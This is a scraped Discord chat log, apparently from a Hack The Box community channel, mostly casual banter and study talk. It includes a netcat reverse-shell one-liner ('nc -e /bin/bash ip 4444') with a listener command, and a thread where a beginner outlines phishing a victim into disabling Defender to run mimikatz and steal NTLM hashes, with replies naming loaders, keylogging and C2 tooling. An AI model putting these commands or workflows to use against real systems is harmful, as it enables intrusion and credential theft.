#general

1 messages Β· Page 552 of 1

lofty marsh
#

I'll try sadglas

safe wind
rancid snow
#

You at least have good attitude. Hopefully knowledge will come with time

molten bobcat
#

All we want is for folks to understand how technology works and how it can be better

#

Cuz that's all cybersecurity is about

rancid snow
#

I want to look cool and argue with people

#

the more right I am the more value I have

devout sail
#

I want to just stay in some corner

lofty marsh
#

Im not here to beef I'm literally a teammate

devout sail
#

A what

#

Are u hopping teams that quickly?

rancid snow
#

eeww teemmates

lofty marsh
#

What am I an outsider or sum? kek

rancid snow
#

this is cybersecurity, everyone needs to be solo rockstars that are better than everyone else

lofty marsh
#

Na I'm playing πŸ’€

rancid snow
#

you mean the guy that is a solo rockstar that is better than everyone else? he would say that

#

classic solo rockstar behavior to say teamwork is good

lofty marsh
#

Are we both talking about ippsec? kek

rancid snow
#

dont worry im operating at a higher level of existence than you

#

(im just fucking around before we leave this cafe for the goth market)

lofty marsh
#

Of course goth kek '

rancid snow
#

gf did my nails

molten bobcat
#

"how could this have happened"

#

Guys

#

You publicly exposed rdp

#

I genuinely don't know what to tell you

silver forge
#

some people love exposing themselves pepecoffee

scenic maple
rancid snow
#

yes?

lofty marsh
#

Tbh out of all community contributors I've met C1oud is probably my favourite kek

rancid snow
#

most people have two hands

lofty marsh
#

Both helpful and random fun facts

scenic maple
molten bobcat
#

I pride myself on my random fun facts

rancid snow
#

golam are you intoxicated

lofty marsh
#

U earned it

scenic maple
#

no

signal mica
scenic maple
signal mica
silver forge
scenic maple
signal mica
scenic maple
lofty marsh
#

lmao

signal mica
#

Prepping for interview tomorrow

#

N u?

scenic maple
#

trying to figure out why deployment failed πŸ˜”

signal mica
#

Read the logs

scenic maple
#

now gotta add logging to code and go to heroku dashboard

scenic maple
#

but dashboard hangs in 8 seconds

#

so thats the limit

signal mica
#

Aha

scenic maple
#

if i take 9 seconds i will neevr find out what the issue

#

is

signal mica
#

I quit heroku 2 years ago when their free tier vanished

scenic maple
#

wish me luck

scenic maple
signal mica
#

Good luck

scenic maple
rustic carbon
#

hi

turbid goblet
#

i think i should pickup smoking cigarettes and blowing the smoke into my computer so the resources chill out

molten bobcat
#

.. you wanna walk us through the logic on that or nah

turbid goblet
#

ur right thats just silly. ill keep my computer healthy and just clean it with water instead

#

ill take a shower with my lappytop[

#

shadow ive been seeing ppl root ur machine on lnked in

silver forge
#

I lick my 5070 clean every night

scenic maple
#

why is it dirty tho

turbid goblet
#

πŸ˜‰

scenic maple
silver forge
#

it's been busy churning data

lofty marsh
#

Dudes claude is actually a dope ass mentor ngl kek

#

It taught me netcat from metasploitable2

heady sage
#

Introspective ahh zawg

gray terrace
#

Test

quaint hinge
#

Yerp

gray terrace
#

To they was odd

#

The discord unlinked my account without warning

#

And made me reconnect

#

I couldn’t see anything for a while on here

#

Also now I guess I have two HTB season medals lol

#

Silver and ruby

#

What du heck is going on with my profile

severe prawn
#

anyone understand radius server and can explain me it pls?

void sage
#

How would I get access to the student plan?

heady sage
#

Gng just ask support

signal mica
west lynxBOT
#

No hints are allowed for the duration of the event. Once the event is over, feel free to share solutions.

lofty marsh
#

Dudes I learned how to reverse shell thanks to claude sadglas

#

nc -lvnp 4444

alpine pumice
#

Just installed my Uniden R8w 😎

terse dirge
lofty marsh
#

thx vro

#

but how does nc -e /bin/bash ip 4444 work tho

#

I dont get it

#

Do I have to write it everywhere when I do reverse shell?

molten bobcat
#

Let's break down the command

lofty marsh
#

nc -e is basically netcat filename

molten bobcat
#

You invoke the netcat binary with the dash e flag, specify the shell you wanna use, specify your IP and port

#

And then it sits a listener on that port

#

So if someone tries to contact that port

#

It'll be met with

#

A bash shell

lofty marsh
#

but why /bin/bash?

molten bobcat
#

Because that's where bash is

#

Its in the directory /bin/

#

Which is short for Binary

#

Cuz that's where binaries go

lofty marsh
#

it tells your terminal that when you run the script it should use bash to execute it.
huh? πŸ’€

molten bobcat
#

I would really love you to not use AI instead of your head haha

lofty marsh
#

OHHHHHHHHH

#

/bin/bash is literally just the shell programThink of it like this:/bin/bash = the thing that reads your commands and runs themWhen you type whoami, ls, cat etc β€” it's bash that understands and executes those commands. Bash is the interpreter 🧠

molten bobcat
signal mica
#

Imagine robert downey junior sayin

Netcat execute bash from bin on ip 1.1.1.1 and port 4444 for me

lofty marsh
#

Ok I see your sneaky ass

#

lmfao

molten bobcat
#

What did I just tell you

lofty marsh
#

Na but fr

#

Fascinating πŸ’€

#

Using the command folder against itself.. if I understand correctly πŸ’€

pseudo bluff
#

πŸ’€πŸ’€

molten bobcat
#

That's not true at all bro

lofty marsh
#

Am I saying bs? sadglas

molten bobcat
lofty marsh
#

HAHAHAHAHAHA

molten bobcat
#

Yes

lofty marsh
#

Na bro Im cooked

pseudo bluff
#

How

molten bobcat
#

When you're using commands

#

On the command line

#

In Linux

#

You are using bash

lofty marsh
#

from the bin folder

#

ye

pseudo bluff
molten bobcat
#

It is a "shell" the thing that lets you interact with the OS

lofty marsh
#

Ohhhhh

#

That's where reverse shell name comes from

molten bobcat
#

Not quite

#

When you form a shell

lofty marsh
#

oh kek

pseudo bluff
#

Windows πŸ”« tux

molten bobcat
#

You interact with computer

#

When a reverse shell is formed

#

The computer reaches out to YOU

pseudo bluff
#

True true

lofty marsh
#

basically like knocking on the door

molten bobcat
#

It's knocking on the door vs yelling for someone inside to open it

lofty marsh
#

HAHADHAHDSAIDHASJD

molten bobcat
#

That's what a reverse shell is

lofty marsh
#

sorry

molten bobcat
#

The computer is somehow forced to reach out to your host for a connection

#

Which is why you set a netcat listener

pseudo bluff
#

I thought a reverse shell was essentially using a vulnerability to execute commands on another system

molten bobcat
#

To grab that connection

molten bobcat
lofty marsh
#

Dude that's actually dope and kinda scary

#

That's why shawty claude says there
Firewalls usually block people calling IN to a server β€” but they almost never block the server calling OUT. So we trick the server into calling US

#

DAYUM

#

cold

molten bobcat
#

I would love for you to stop talking to Claude like it's a professional in the field sadglas

#

I literally do this for a living and I'm explaining things to you

pseudo bluff
lofty marsh
#

But u a good master I gotta give you that

molten bobcat
#

You have to have RCE beforehand

#

You have to be able to influence the remote computer into making that request back to you

#

Once the reverse shell is established it's a way of remotely controlling the host that isn't directly limited to what you can do with the vulnerability

molten bobcat
lofty marsh
#

So to reverse shell those are the only two commands?

molten bobcat
#

What? No

pseudo bluff
#

Can a reverse shell happen via remote execution to then call out to the attacker machine

lofty marsh
#

Aw man

molten bobcat
#

That's how you set up a listener lol

lofty marsh
#

I thought it would be easy

lofty marsh
#

Na dude how many years are you studying cyber?

molten bobcat
#

6 so far

lofty marsh
#

...

#

makes sense

#

lmao

pseudo bluff
#

Damn that’s a lot of years

#

I have like 5 months

lofty marsh
#

That's why you speak like you know your shit bro

molten bobcat
#

I just try to help people

lofty marsh
#

Confidently

molten bobcat
#

I'm wrong sometimes

#

It's okay to be wrong

lofty marsh
pseudo bluff
#

It’s impossible not to get things wrong in cyber

lofty marsh
#

And I cant tell you how grateful I am

molten bobcat
#

You're welcome dude lol, I just want people to succeed and understand things better

pseudo bluff
#

Are you exclusively web security or a bit of everything

molten bobcat
#

... Web?

gaunt gale
#

hi how is everyone?

molten bobcat
#

I have never mentioned web once haha

gaunt gale
#

I just did a CWES section

pseudo bluff
molten bobcat
#

I'm a blue teamer, I focus on defense πŸ™‚

gaunt gale
#

gonna do another in like ten minutes after I give my brain a short break.

#

ya

lofty marsh
#

Na u purple

#

Thanos

molten bobcat
#

It's important to understand offense

lofty marsh
#

I mean yee defense without offense is being blind

pseudo bluff
pseudo bluff
molten bobcat
#

Recto verso

gaunt gale
#

ya totally

lofty marsh
#

How the fuck do you guys remember all that? sadglas

#

Im looking at tactics bro and I forget each immediately as soon as I read the other one

#

I have to take notes this is too much

molten bobcat
#

Easy

#

I've been reading about it for years

#

It's just practice

devout sail
#

Do u really remember all tactics tho?

lofty marsh
#

This shit is worse than med and law school sadglas

devout sail
#

Talking about MITRE??

lofty marsh
signal mica
#

reverse shell is worse than med/law school

lofty marsh
#

But I have MITRE on my bookmarks

rancid snow
#

does anyone actually follow mitre as a playbook? it feels like its mostly just a way to describe tactics after the fact

uneven beacon
molten bobcat
lofty marsh
rancid snow
#

it was a question for the room

lofty marsh
#

Yee i know

#

Im just telling you my side πŸ’€

pseudo bluff
#

πŸ’€

rancid snow
#

so I did ask it as if the people reading it knew how to read it

pseudo bluff
#

Offence has been taken

devout sail
#

I DID SOC for some time
And it's really interesting.

But the thing it has (yeah it's for easier documentation/communication/etc), is soo pretentious.

Probably cuz the way I got introduced to it

lofty marsh
#

Just by looking at it no offense to the blue team people but SOC looks kinda boring πŸ’€

#

Just waiting for an emergency and you also have night time shifts

devout sail
lofty marsh
#

not soc

heady sage
#

Yall I just got a message from the recruiter from Accucenture

split idol
#

if i have any question ask here ?

heady sage
#

They want to talk

rancid snow
#

good luck

rancid snow
devout sail
# lofty marsh cuz of dfir lol

Well i didn't work in soc as a soc guy with single job role

I had full access to SOC so i could see what's happening and investigate stuff and all

Haven't got any security related true positives, but you still get to see why it triggers, from where and u go into that system and see what is doing it eetc.

I'm pretty sure in "proper" organisation it's not what l1 can do

lofty marsh
#

Does anyone wanna rate some .docx that I found about beginner pentesting? lmao

split idol
rancid snow
split idol
#

thanks

lofty marsh
#

Idk you judge... I'll post it somewhere

devout sail
#

You cry about ncat and reading "how to become a pentester in 15 days.docx"???

rancid snow
#

is uploading a docx even allowed lmao

devout sail
#

he did

lofty marsh
#

It's a word bro πŸ’€

#

I dont even know how to make a virus

rancid snow
#

brother its a docx

#

one of the most frequently malicious file types out there

lofty marsh
#

docx are malicious?

#

tf?

#

first time hearing it

rancid snow
#

πŸ’€

devout sail
lofty marsh
#

Anyway can someone just tell me if the notes are well writen? πŸ’€

#

or if you are scared tell me how to transfer the notes on another file or whatever?

devout sail
#

It is bad, now what πŸ‘οΈπŸ‘οΈ

lofty marsh
#

Is it?

devout sail
#

Idk man, in on phone

#

I'm asking, what will change with yes/no

lofty marsh
#

I just want an opinion vro sadglas

#

If I should study it or if its a waste of time

rancid snow
#

my opinion is dont get pentesting advice from docx files

worthy cargo
#

for example i use ffuf for web fuzzing

#

instead of gobuster

#

there is also dirbuster

lofty marsh
worthy cargo
#

so you see the piont

lofty marsh
#

yee

devout sail
lofty marsh
#

Thankfully I installed metasploitable too

#

my good ol sandbox

rancid snow
#

dont fuss with tools, learn method and then learn what tools makes those methods easier instead

lofty marsh
#

for tools

#

lol

lofty marsh
#

That's gotta be racist-

rancid snow
#

why would it be

worthy cargo
rancid snow
glad cipher
#

I have permissions πŸ’ͺ

rancid snow
#

need whonix vms

lofty marsh
rancid snow
#

and commando

lofty marsh
#

What u want all those for sadglas '

glad cipher
lofty marsh
#

How powerful is your fucking pc my guy-

worthy cargo
#

5800X, 8 core 16 thread, 64GB RAM, RTX 3060 12GB, phantom 4 asrock motherboard

lofty marsh
#

what kind of ram?

#

DDR5?

worthy cargo
#

ddr4

lofty marsh
#

And I was gonna call you a millionaire lmao

worthy cargo
#

I built the PC like 4 years ago

#

it's a bit dated

rancid snow
#

64gb ram is so nice when running VMs

glad cipher
#

What OS?

worthy cargo
#

Kubuntu 22.04

rancid snow
#

being able to just toss 32GB to a kali vm is freeing

alpine pumice
#

stuck with 32 for a while

lofty marsh
rancid snow
#

feels bad

lofty marsh
#

Isnt that light?

glad cipher
worthy cargo
#

KDE

rancid snow
#

kde notoriously heavy

lofty marsh
worthy cargo
#

I use Xmonad as my WM and KDE apps underneath

lofty marsh
#

I thought the opposite LMFAO

rancid snow
#

crazy

lofty marsh
#

Which DE are light?

#

I know I3 is light

#

what else

worthy cargo
#

i3 is a wm, not a de

lofty marsh
#

oh

rancid snow
#

de's are basically inherently heavy

glad cipher
#

i3 my beloved

worthy cargo
#

I prefer Xmonad

#

favorite wm

lofty marsh
#

I would have hyprland but it's very fragile

rancid snow
#

personally I dont actually care if my environment is heavy or not. Thats what my ram and disk storage is for

glad cipher
worthy cargo
#

not wet?

lofty marsh
#

Kinda like using windows XP

#

Not very fun to use

rancid snow
#

windows xp was a blast to use back when it was new

lofty marsh
#

I mean it's very light but its very boring

lofty marsh
worthy cargo
#

Windows XP was the shit

lofty marsh
#

back then yee

#

facts

rancid snow
#

xp was the last windows os that just let you do shit

#

horribly insecure

#

horribly horribly insecure

#

but fun

#

Go to login -> provide username and password? -> click cancel instead on login prompt -> auto signed in as administrator

glad cipher
#

I want to look into ricing login screens a little better tho

#

not sure how

lofty marsh
#

But if its interesting after some customisation then I'll give it a try

gleaming vale
#

Hi

glad cipher
#

and it doesn't require a mouse to use

#

happy accident

lofty marsh
#

But at the same time very tech savvy

glad cipher
#

For me it was just because I'm lazy

#

and started because I have bad memory πŸ’€

spark mulch
#

XP was the last time it felt like a windows was a friend and not an enemy

lofty marsh
glad cipher
lofty marsh
glad cipher
#

Mmmmhmmm

#

I have too much going on to get a job

#

in the summer before uni maybe

gleaming vale
#

How to connect discord with htb labs

rich drift
#

Hi everyone I am Abdias, new to the community. I have a questions. I am currently completing Setting Up Module and I am experiencing an issue at section 4 Linux whilst trying to set up a VM. I download the Parrot OS Security version which was recommended and after I install it on the VirtualBox I encounter an error message stating failed and I am unable to login

#

Kindly asking for someone to assist me?

rancid snow
glad cipher
#

Is it not already connected if you're sending messages?

rancid snow
glad cipher
#

Oh it didn't give me permission to talk until I did that lol

rancid snow
#

some channels dont need it like this one(unfortunately)

glad cipher
#

Also should you use a VM for pentesting or just for uh whatsitcalled

#

analysis

#

stuff

rich drift
gleaming vale
#

Now, I have

#

Well, still noob

rancid snow
#

gj

gleaming vale
#

Cpts is a cool cert

#

I'm gonna go for it

glad cipher
#

no error logs?

rich drift
#

yes and error logs but it appears quick and disappears again bringing me back to the TryInstall page

glad cipher
#

It should have a log file

#

Do you know if it is VirtualBox that's failing or the OS?

rancid snow
#

are you installing from an iso onto a vm or importing the vm?

rich drift
#

I am new to this world so I honestly, I know the VM is working. I think its the ISO.

rancid snow
#

if youre using the iso I would abandon it and import the premade vm image instead(the ova option if youre using virtualbox) it tends to be smoother but dont forget to give it some cpu, ram, and storage

night fox
#

Guys Unrestricted file upload that leads to Stored XSS, its high severity?

fringe vapor
#

yo can ms-sql get changed to filtered from a -A nmap scan, per machine eighteen?

glad cipher
#

time to install arch

#

again

turbid goblet
#

i accidentally dropped water all over my desktop gg

hoary cove
#

h

broken flame
#

Htb

rich drift
#

i am still not winning

#

i tried downloading the iso file again from parrotsec web page but i still get an error message

small pond
devout sail
#

You didn't refuse the other guy's "daddy ipp" message giggle

small pond
burnt terrace
#

Tell me what is missing sadglas

hoary cove
#

hey ippsec

rancid snow
hoary cove
rustic carbon
#

can anyone help me to decompile obfuscated luau code

devout sail
#

Random rain when i decided to wear a thin T outside panic

rustic carbon
hoary cove
signal mica
devout sail
signal mica
#

😼

severe falcon
atomic vale
#

what do you mean by 'issues with module completion'?

molten bobcat
#

Sometimes when you complete a module it doesn't

fringe vapor
#

hey has anyone dont machine eighteen lately?

chrome topaz
#

May I ask something I have CPTS can I find a job with it ??????

alpine pumice
#

I don't think a cert alone will get you a job, but it can help

terse dirge
#

@exotic pendant have you tried Mr. Hyde signature preworkout?

chrome topaz
#

like sending the labs I've solved, and thank you for responding

alpine pumice
#

There is no one thing that will get you a job. If the hiring manager knows anything about certs int he industry then you will stand out. That alone won't get you a job. You need to be the whole package. Sending your projects or experience can be good, but often times you need to get through the HR gatekeeper. I think a pentesting firm who knows their stuff would get you at least an interview if you had a CPTS cert (I got an interview with it and was able to pass their webapp challenge.) I still didn't get the job though so it's hard.

west venture
alpine pumice
#

fake news

frigid mountain
#

I have a job and want a different job

frigid mountain
#

Somebody else can have mine lol

alpine pumice
#

i have a job and i'm interviewing for another one, take my job too

terse dirge
west venture
frigid mountain
west venture
#

Clead can wait

terse dirge
#

I need a j*b so I can buy alcohol, supplements, and gamble

frigid mountain
#

Clead-us

dull forge
#

anyone having issues with the HTB academy VPN?

Im in the Windows PrivEsc Skills Assessment, connect fine to the VPN, though cannot ping any of the targets or do anything. I've tried different VPN regions, tried TCP, respawned the target, rebooted my machine, with no luck.

west venture
frigid mountain
#

I had my first session of D&D irl today at the game store. It was fun. A little slow. But our DM is old school gamer from like the 80s. He owned a game store and has a lot of lore.

alpine pumice
#

i want to play i should go to my local one

#

but then again, busy with other shit

frigid mountain
#

yeah adulting cuts into game time. We were supposed to have 4 players and 2 of them are working. So DM set a Level 3 cap that if we make it there without them they get dropped. At the rate we're going though I don't think that will be an issue.

crisp sand
#

guys what if vpn protocols gonna be banned in my country, how am i gonna be able to access htb labs

manic sleet
#

is there any way to restore the old UI for HTB academy? i m not fond of the new UI.

crisp sand
alpine pumice
#

They don't want to waste people's time doing stuff like that.

crisp sand
#

if they ban the protocols theres no way u can use a vpn

rapid badger
#

Just smuggle a starlink

#

xD

sharp holly
#

Would anyone happen to know what the policy is on publicly posting reports of active Sherlock boxes assuming answers and direct paths are excluded

sharp holly
#

I prefer the old one too!

broken flame
#

HTB age verification when

lucid escarp
#

hi everyone

#

so i am a beginner of htb and am into red teaming

rancid snow
#

daring today

lucid escarp
#

i learnt the very basics within one month and have only solved spookypass,meow etc etc.

rapid badger
terse dirge
#

ask in the proper channel for that box

#

looks like box spoilers man, you should probably delete it

lucid escarp
#

wait hi

#

i had a question

#

can mimikatz be used for obtaining windows ntlm hashes

#

For instance, a hacker sends a file with mimikatz embedded to the victim and before than instructs a naive victim that the file is critical and disable miscrosoft defender to run it

#

after the ntlm hash is obtained,

#

can it be cracked using john the ripper

iron galleon
#

are u tech support

lucid escarp
#

nope

#

am a beginner learning just one month into it

iron galleon
#

thats what tech support would say

lucid escarp
#

so can mimikatz be used in this way to gain the ntlm hash

#

which then can be cracked using john the ripper

#

on kali linux

#

nope computertrash i am not tech support

rancid snow
lucid escarp
#

okay

#

but as a beginner i am a bit confused

rancid snow
#

embedding mimikatz generally isnt the way to go for the scenario you described though

lucid escarp
#

it probably won't just magically obtain ntlm hash ig it obtains from lsass memory process or something

#

well basically the scenario is

#

X hacker sends an email to victim as fake microsof telling some bug or smthing and convinving him to disable defended and then he clicks on a link with mimikatz embedded it runs and obtains an sends ntlm hash to attacker

rancid snow
#

cause if you can get your target to run your stuff its better to have it be a loader that pulls down something more feature complete as necessary, in which mimikatz or similar tactic would be employed as a module if needed.

This is ofc ignoring things like opsec and edr

lucid escarp
#

so

#

what conclusion we reached

#

and the tool with mimikatz embedded in it can it be like i can make html file with this js script

#

with mimikatz embeded

rancid snow
#

also stealing ntlm hash is often inefficient when youve already successfully tricked a target, why not just steal existing credentials or keylog instead?

#

no youre not embedding mimikatz in javascript lol

lucid escarp
#

oh sorry

#

i got confused ig

#

yes

#

thats a better technique

#

so we can design a code and use social engineering and that victim will be tricked and we can have root access

rancid snow
#

mimikatz is more useful in a windows domain network scenario where youve possibly compromised various workstations and servers with other methods

lucid escarp
#

okay

rancid snow
#

what I think you actually want to explore based on what youre fixating on is C2 frameworks and phishing strategies(include evilnginx, maldocs, etc)

lucid escarp
#

so basically can you describe a scenario from scratch skipping the social engineering part and how does the code need to get embedded to compromise a windows system

#

but windows defender needs to be disabled first

rancid snow
#

mimikatz is cool, but incredibly unstealthy and youre treating it like a hammer when its more of a very specific socket wrench size

sturdy thistle
#

morning

lucid escarp
#

naive users can be tricked

#

oh okay

#

so we need a better method

rancid snow
bronze crow
#

guys
anyone here got a writeup blog about htb or cybersecurity in general? trying to get insparation

lucid escarp
#

okay lol

#

but i have an idea taking the mimikatz can we modify code to make it stealthy

#

we can try

cerulean bloom
lucid escarp
#

yeah i was thinking about that

rancid snow
#

I mean people DO make stealthy mimikatz versions all the time

lucid escarp
#

well i realise it is a post exploitation techinique

rancid snow
#

though some aspects are impossible to make stealthy like touching lsass

lucid escarp
#

yesh

#

but i have a question

rancid snow
#

depending on if your goal is just getting passed defender or EDR

lucid escarp
#

how is windows compromised

#

through social engineering ?

rancid snow
#

might as well ask 'how to hack'

lucid escarp
#

or some techical method ?

cerulean bloom
rancid snow
#

way too broad of a question

#

theres entire fields and subfields dedicated to what you asked

lucid escarp
#

wait

rancid snow
#

answering that question comprehensively is like 15 years of hacking experience lmao

lucid escarp
#

i am not even 15y/o lol

cerulean bloom
#

neither am I

lucid escarp
#

and ig one can send a download file with some code in it to download

#

and that code can then escalate permissions

#

and gain admin access

rancid snow
#

I recommend checking out htb academy and doing the cpts course if youre wanting to learn fundementals

cerulean bloom
lucid escarp
#

then mimikatz may be used

#

if that is rooted it can be

#

well a rootkit

rancid snow
#

youre way too obsessed about mimikatz lol

lucid escarp
#

wait how is a rootkit developed

cerulean bloom
#

ur hacking a human lol

lucid escarp
#

the weakest link in a system is human

cerulean bloom
#

ye

#

but that isn’t windows compromise

rancid snow
lofty marsh
#

yoo

lucid escarp
#

well i am obsessed with it because actually i have developed this workflow like

social engineering --- system compromise --run mimikatz ---get password ntlm hash ---crack with john the ripper

cerulean bloom
lucid escarp
#

the social engineering part works on a naive user

lofty marsh
#

It depends how good the hacker is too

#

and how much they know

lucid escarp
#

DonutMaster123 [ARGS], Role icon, HTB Seasons: Ruby β€” 12:00 PM
thats not gonna work in most of the times thats what i think thats why i came here to enhance this workflow

cerulean bloom
#

the way u get in depends on the scenario

lucid escarp
#

okay

#

lets assume there is some victim naive user

#

so how is that windows compromised theoretically'

cerulean bloom
#

its not

#

its system and human compromise

lucid escarp
#

yes

#

the human compromise part ik

#

i am here to learn the system compromise part

cerulean bloom
#

that would depend on the scenario

lofty marsh
#

how useful is swift?

lucid escarp
#

k

cerulean bloom
#

u get in, maybe ur admin automatically, maybe ur user has tons of permissions

lucid escarp
#

yup

#

depends on the permission of the user

cerulean bloom
#

but in a network, and u want to move to another user or privilege escalate, again, differs

lucid escarp
#

yes

#

Atomic Red Team (redcanaryco/atomic-red-team)

#

could this github repo be of any use

#

(not mine)

cerulean bloom
#

send link please

lucid escarp
cerulean bloom
lucid escarp
#

okay

#

see suppose

#

i have a network lets day 129.23.1.0

cerulean bloom
lucid escarp
#

and i run nmap -sS -p- -Pn -sv --min-rate 3000 --stats-every 5s 129.23.1.0 will it show like all the devices connected and open ports or do we need to add something

cerulean bloom
lucid escarp
#

okay

#

apparently we need to specify the range

cerulean bloom
lucid escarp
#

and then with open ports we need host discovery

#

then the devices on the network can be compromised

#

apparently we can use -sn

#

or -sl

#

if we want lists

cerulean bloom
#

yes

lucid escarp
#

okay

cerulean bloom
#

I would recommend to just go learn

#

tryhackme, hackthebox

rancid snow
#

the way you ask questions like youre talking to an AI/LLM is pretty weird tbh

cerulean bloom
#

just go learn first lol

rancid snow
#

brush up some fundementals

lucid escarp
#

okay

rancid snow
#

dont be too eager

lucid escarp
#

k

rancid snow
#

easy way to accidentally end up in jail even without malicious intentions lol

lucid escarp
#

okay

#

let me go and learn pentesting in htb academy tmrw

#

i am way too eager to learn fast ig

cerulean bloom
lucid escarp
#

k

rancid snow
#

learning fast is fine. but its clear that you get an idea and chase it before youve understood the basics first and its a good way to develop tunnel vision and bad habits that will screw you over at some point

lucid escarp
#

k

#

ok, thanks for the advice

ornate ibex
#

Hi

terse dirge
#

hello tejas

ornate ibex
#

how is u?

terse dirge
#

I'm ok, lookin for cool new terminal emulators for linux rn. How about you?

terse dirge
scenic maple
#

Bro is the niche enjoyerpika pika pika

terse dirge
# lyric gyro st

yeah I've looked at that one before but got stuck on themeing lol

terse dirge
ornate ibex
azure wasp
#

I piss between 2 people while they are having a conversation (man in the middle attack)

ornate ibex
#

weird kink

spark mulch
#

pissword spraying

austere sigil
cerulean bloom
ornate ibex
#

1 hour

cerulean bloom
ornate ibex
#

It was a good sleep ngl

#

woke and took shower

cerulean bloom
cerulean bloom
flint rover
#

what does hackthebox student plan 8$/month , included??

cerulean bloom
#

u also earn the cubes that those modules reward

flint rover
terse dirge
iron galleon
#

dodgin feds smokin weed cause my head hard

dry gull
#

Maybe someone can explain the difference between a "100% completed" module and a "Completed" module!
Seriously, please bring back the old HTB Academy interface!

severe prawn
#

Is it true that for the MIC calculation in WPA, all fields in the EAPOL frame are filled except for the MIC field, which is set to 0, and then the KCK (Key Confirmation Key) is used with HMAC to calculate a value that is finally inserted into the MIC field?

iron galleon
#

Guys my wife left me how do I fix that

cerulean bloom
#

I tried the old academy UI a bit, but imo, the new one is better

fierce moth
#

A

ornate ibex
#

Images seem small, I wish there was preview

#

When I right click view images it downloads which I don't want it to happen.

#

Also, I hate Pwnbox preview on the page. They could have removed it. Some features are missing such as the terminal and streaks. Or maybe streaks are, there and I didn't notice. streaks are there,

#

DM

tame gust
#

the square macOs borders are back

#

look how ugly this is

obtuse fern
#

idk i'm a fan of the rounded edges but that's just me being weird

tame gust
obtuse fern
#

eating edges? isn't that what chrome and other browsers are for (this is a shitty joke about microsoft)

tame gust
#

like this

obtuse fern
#

oh, that's gross

#

there should be a context-aware screening that knows if it's docked so it can snap to corners

spark mulch
#

worth the pricepoint?

tame gust
#

found a opensource project that helped with this called "apple-sharoener", now its back being cool again

ornate ibex
obtuse fern
#

floating panes are fine rounded, docked panes should have snapping on the screen edges/corners

austere sigil
#

Just a friendly reminder to enable Airplane Mode if you don't want to talk to someone on the phone. They will hear "call failed" and think you lost service fingerguns

tame gust
#

i know some people using mac would like this tweak

ornate ibex
tame gust
#

where's @green kite

austere sigil
#

Not @green kite but recruiters

ornate ibex
#

damn three pings

tame gust
#

and uncle rayan ?

austere sigil
#

who's rayan?

tame gust
#

rayan dees kek

tame gust
#

the shadow pinger

tame gust
green kite
#

not much πŸ™‚ jsut busy with work, how are you?

ornate ibex
#

Good so far

tame gust
#

bought some cwee modules but cant do any rn

green kite
#

nice one, you will get to them soon πŸ™‚

tame gust
#

caffeine crash hits in ramadan

cerulean bloom
#

I bought academy student plan

tame gust
cerulean bloom
#

only until t2

tame gust
#

there's lot of t2 moduels i wanna do too but can never get enough

hardy frigate
#

Are u a web pentester

cerulean bloom
#

I wanna get t3 modules, but they expensive

tame gust
gaunt trout
#

Hey, is there a "CWES list" just like "TJ Null OSCP list"?

tame gust
obtuse fern
#

Not currently, especially since the goal of boxes differs from the goal of CWES

hardy frigate
cerulean bloom
#

I’ll get t3 when I make my own money

gaunt trout
#

So if I wanted to practice my skills before exam, how can I?

obtuse fern
#

CWES goals more closely align with web challenges than they do full blown boxes

tame gust
#

that what worked for me

gaunt trout
#

I've made notes along the way.

tame gust
#

they comes in handy

gaunt trout
#

just like you said, and they are pretty neat.

#

alright, thanks. here we go with the exam.

tame gust
#

dont overthink it, its just an exam, if you failed you learned what you're lacking

#

if you get stuck, you know you're about to learn something new

#

you got this

gaunt trout
#

i have to think when it involves money, haha.

tame gust
#

money comes and go buddy

#

unless you're paying 1766$ for a fking exam

cerulean bloom
gaunt trout
#

get cwes -> show it to founder -> ask for increment -> happy

cerulean bloom
#

I wish my challenge gets accepted

ornate ibex
cerulean bloom
ornate ibex
cerulean bloom
gaunt trout
#

one apple product purchase is enough to break your finances.

hardy frigate
#

Hey @tame gust are u a pentester now

tame gust
cerulean bloom
tame gust
#

kinda became lame ...

cerulean bloom
tame gust
#

i love what im doing now, but if i'd have to do something next, would be appsec maybe ?

flint rover
warped plank
terse dirge
# tame gust kinda became lame ...

I agree. I've only ever worked in more education side when I did cyber outreach for like 10 months and it was very misleading and over hyped

#

Shit like "you can get this degree and hangout here and get 6 figures working as a super secret shadow government haxxor"

flint rover
warped plank
#

gotta make your profile public and then you can get a share link

warped plank
tame gust
#

a wise man once said:

green kite
#

haha yeah

#

that was a fun one

warped plank
green kite
#

true

austere sigil
frosty bane
#

Merry christmas

sharp matrix
#

Hi guys

#

I can't seem to find the VPN download link in academy 2.0

#

Does anyone have an idea on where it's located? Spent almost 45 mins looking for it

lyric gyro
#

Some of them don't need the VPN iirc

sharp matrix
#

Understood, thanks

cloud swift
#

Supp chat

zealous charm
supple plume
#

Hi chat

terse dirge
supple plume
terse dirge
#

Hangover?? Drink some water with chia seeds vro

supple plume
#

Bro wdym chia seeds

#

What you think I am a bird

terse dirge
#

Very high in fiber and healthy omegas

#

They'll help with your hangover πŸ˜‰

supple plume
#

I can't obtain chia seeds any soon

#

And I drink like once a year or so

#

I just got a few beers tho I'm not really hangover

#

Is more the other things

terse dirge
terse dirge
supple plume
supple plume
austere sigil
#

Happy Friday!

terse dirge
# supple plume Can't do that

Oh. I thought that's what you meant when you said other things lol. If you're hungover weed won't make it any better lol

terse dirge
supple plume
supple plume
cloud swift
#

How are yall

austere sigil
cloud swift
terse dirge
austere sigil
cloud swift
#

Lmao

terse dirge
#

Alcohol tho is fine unless I drink like a sailor or have like 6 or so in the span of 5 or 6 hours lol then I get messed up

terse dirge
#

2 weeks ago I had a bunch and almost got sick and was fading in and out of consciousnesskek probably won't do again for a while altho Tuesday is Saint Patrick's Day

cloud swift
#

No idea where to verify it or what to so next tho

austere sigil
cloud swift
#

Okeyy

#

Thanks

austere sigil
#

Please reach out to support on the main platform.

west lynxBOT
supple plume
austere sigil
#

And ping @sturdy thistle

sturdy thistle
#

and don't forget to ping @austere sinew

supple plume
#

@austere sinew GET PINGED TO THE CORE

cerulean bloom
#

@austere sinew health check

hardy frigate
#

Hey @supple plume DM open for specific question?

tame gust
#

manager: hey man we need those fortigates done in 2days, Me: yeah but i just got em today and you're asking now to have your tunnels over orchesters and use BGP's ...etc, manager: we really need it rushed. (Gets done in 2 days): 2 months later somethings breaks or doesnt functions as it should, ** Manager Shocked **

uneven beacon
hardy frigate
#

I have 0 firewall stuff knowledge

tame gust
#

and you must listen to Metalica while at it

supple plume
terse dirge
hardy frigate
supple plume
terse dirge
#

I pretty much become a baked potato every time I do it kek

tame gust
#

my last 2 brain cells trynna configure this BGP

terse dirge
#

